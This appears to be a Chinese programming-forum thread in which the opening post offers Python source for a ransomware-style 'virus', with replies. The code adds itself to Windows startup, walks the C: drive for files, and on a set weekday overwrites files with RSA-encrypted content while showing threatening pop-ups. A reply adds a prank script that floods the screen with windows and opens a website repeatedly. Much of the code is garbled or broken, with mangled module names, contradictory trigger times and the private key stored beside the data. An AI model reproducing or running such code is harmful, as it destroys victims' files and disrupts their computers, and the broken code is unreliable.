猫史档案馆


【python病毒篇】小心慎用!!病毒源码喵病毒

用户:Eternal_BlueEternal_Blue查看:9 回复:9 评论:9 创建时间:2022-05-14T16:32:50


# -*- coding: utf-8 -*-
import six
import traceback2 as traceback
import random2
import ctypes
import os
import tkinter.messagebox
import shutil
import datetime
import getpass
import base喵
import rsa
import time
import json
root=tkinter.Tk()
root.withdraw()
import getpass
USER_NAME = getpass.getuser()
def add_to_startup(file_path=""):
	if file_path == "C:/Users/wy/Desktop/U喵/black/Black.exe":
		file_path = os.path.dirname(os.path.realpath(__file__))
	bat_path = r'C:Users%sAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup' % USER_NAME
	with open(bat_path + '/' + "open.bat","w+") as bat_file:
	bat_file.write(r'start "" %s' % file_path)

SPI_SETDESKWALLPAPER = 20
ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, "C:/Users/wy/Desktop/U喵/black/Black.py", 0)
path = r'C:/' # 文件夹路径
def get_dir(path,types = ''):              #获取目录路径
	if types == 'p':
		for root,dirs,files in os.walk(path):     #遍历path,进入每个目录都调用visit函数,,有3个参数,root表示目录路径,dirs表示当前目录的目录名,files代表当前目录的文件名
			for dir in dirs:
				#print(dir)             #文件夹名                 
				print(os.path.join(root,dir))      #把目录和文件名合成一个路径
	if types == 'r':
		prs = []
		for root,dirs,files in os.walk(path):     #遍历path,进入每个目录都调用visit函数,,有3个参数,root表示目录路径,dirs表示当前目录的目录名,files代表当前目录的文件名
			for dir in dirs:
				#print(dir)             #文件夹名                 
				p = os.path.join(root,dir)      #把目录和文件名合成一个路径
				prs.append(p)
		return prs
def get_file(path,types = ''):         #获取文件路径
	if types == 'p':
		pr = []
		for root, dirs, files in os.walk(path):
			for file in files:
				#print(file)     #文件名
				print(os.path.join(root,file))
	if types == 'r':
		pr = []
		for root, dirs, files in os.walk(path):
			for file in files:
				#print(file)     #文件名
				p = os.path.join(root,file)
				pr.append(p)
		return pr
fi = []
if __name__ == '__main__':
	#fil = get_dir(path = path,types = 'r')
	fils = get_file(path = path,types = 'r') 
	fi = fils[:]
def filepaths():
	for filess in fi:
		return filess
	
# 先生成一对密钥,然后保存.pem格式文件,当然也可以直接使用
pubkey, privkey = rsa.newkeys(1024)
pub = pubkey.save_pkcs1()
pri = privkey.save_pkcs1('PEM')
with open('pubkey.pem',mode='wb') as f,open('privkey.pem',mode='wb') as f1:
	f.write(pub)
	f1.write(pri)
time.sleep(1)
with open('pubkey.pem',mode='rb') as f,open('privkey.pem',mode='rb') as f1:
	pub = f.read()
	pri = f1.read()
	pubkey = rsa.PublicKey.load_pkcs1(pub)
	privkey = rsa.PrivateKey.load_pkcs1(pri)
while True:
	time = datetime.datetime.now().weekday()
	day = datetime.datetime.now().strftime('%H')
	#病毒之再每周五的下午两点或两点以后发作
	if time == 5 and day >= 2:
		tkinter.messagebox.showwarning('warning','Your PC is get Black,and it will cause can not open in Disks and files')
		types = 'e'
		filepath = filepaths()
		try:
			f_read = open(filepath,"rb")
		except:
			pass
		else:
			pass
		me = open(filepath,'rb')
		message = me.read()
		crypt = base喵.standard_b喵encode(message) # base喵加密
		#encode
		if types == 'e':
			mss = open('bytes.json')
			json.dump(crypt,mss)
			ms = len(crypt)
			val = []
			for i in range(0, ms, 117):
				tpl = crypt[i:i + 117]
				info = rsa.encrypt(tpl,pubkey)
				val.append(info)
			ret = b''.join(val)
			#print(ret)
			#decode
			ms = len(ret)
			vals = []
			for i in range(0, ms, 128):
				tpls = ret[i:i + 128]
				msg = rsa.decrypt(tpls,privkey)
				vals.append(msg)
			ret1 = b''.join(vals)
			#print(ret1)
			mes = open(filepath,'wb')
			mes.write(ret)
			print(ret)
			mes.close()
		if types == 'd':
			mssss = open('bytes.json')
			moss = json.load(mssss)
			ms = len(moss)
			val = []
			for i in range(0, ms, 117):
				tpl = moss[i:i + 117]
				info = rsa.encrypt(tpl,pubkey)
				val.append(info)
			ret = b''.join(val)
			#print(ret)
			#decode
			ms = len(ret)
			vals = []
			for i in range(0, ms, 128):
				tpls = ret[i:i + 128]
				msg = rsa.decrypt(tpls,privkey)
				vals.append(msg)
			ret1 = b''.join(vals)
			#print(ret1)
			decrypt = base喵.standard_b喵decode(ret1)
			mes = open(filepath,'wb')
			mes.write(decrypt)
			print(decrypt)
			mes.close()
			mssss.close()
		tkinter.messagebox.showerror('Error','This virus will be run at two o`clock on Thursday afternoon,Good luck!')


回复

上一页1 页 / 共 1下一页
Eternal_BlueEternal_Blue

标题中'喵'的意思是extortion,可以翻译一下

点赞0


评论


11011100101000111101110010100011

完了。巴比Q了

点赞0


评论


小小小嘟嘟小小小嘟嘟

这是什么?真的是病毒吗?怎么做到的?

点赞1


评论


白洞awa白洞awa

开虚拟机试试()

点赞0


评论


testifytestify

喵啊大佬

点赞0


评论


航天员S航天员S

客户端上用,我复制来的,不好用,连自己都黑不进去,可以逝世

import tkinter  # ui库,弹窗用的就这个库
import tkinter.messagebox  # 与上面同理也是ui库
import random  # 生成随机数的库
import threading  # 多线程
import time  # 延迟用的库
import webbrowser  # 大开网站用的库

tkinter.messagebox.showinfo("开始", "欢迎使用电脑安全为士")  # 弹窗
tkinter.messagebox.showerror("错误带码1001", '检测到您未下载插件')
tkinter.messagebox.showerror('提示', "准备下载")
tkinter.messagebox.showinfo("开始", "正在起动")
a = tkinter.messagebox.askokcancel('提问', '你觉得我帅吗')


def b():  # 设置弹窗
    window = tkinter.Tk()
    window.title('我最帅')  # 弹窗标题
    v = random.randrange(0, window.winfo_screenwidth())  # 随机数
    n = random.randrange(0, window.winfo_screenheight())
    window.geometry("600x200" + "+" + str(v) + "+" + str(n))  # 弹窗大小

    tkinter.Label(window,
                  text='我最帅,不许反驳',
                  bg='Yellow',
                  font=('楷体', 17),
                  width=600, height=200
                  ).pack()
    window.mainloop()
    window.mainloop()


threads = []
for i in range(50):  # 利用多线程,括号就是弹窗数量
    c = threading.Thread(target=b)
    threads.append(c)
    time.sleep(0.1)
    threads[i].start()
m = 0

if m == 0:

    def p():
        window = tkinter.Tk()
        window.title('我最帅')
        window.geometry("600x600")

        tkinter.Label(window,
                      text='我最帅,不许反驳',
                      bg='Red',
                      font=('楷体', 17),
                      width=600, height=200
                      ).pack()
        window.mainloop()
        window.mainloop()


    threads = []
    for l in range(40):
        c = threading.Thread(target=p)
        threads.append(c)
        time.sleep(0.1)
        threads[l].start()


    def z():
        window = tkinter.Tk()
        window.title('我最帅')
        window.geometry("600x600" + "600" + "600")

        tkinter.Label(window,
                      text='我最帅,不许反驳',
                      bg='Red',
                      font=('楷体', 17),
                      width=600, height=200
                      ).pack()
        window.mainloop()
        window.mainloop()


    threads = []
    for b in range(40):
        c = threading.Thread(target=z)
        threads.append(c)
        time.sleep(0.1)
        threads[b].start()
    for o in range(15):
        time.sleep(1)
        webbrowser.open('www.喵')  # 这里可以换上自己恶搞网站网址

点赞0


评论


K.CODEK.CODE

额,你密钥光明正大放。。。不相当于没病毒吗emotion_编程猫_冷漠

 

不过整体挺行的emotion_编程猫_厉害了

 

点赞1


评论


一个STUB用户_14302596一个STUB用户_14302596

远看战斗力100%,仔细看发现是个。。

点赞0


评论


虚伪_der_面具虚伪_der_面具

哇哦

点赞0


评论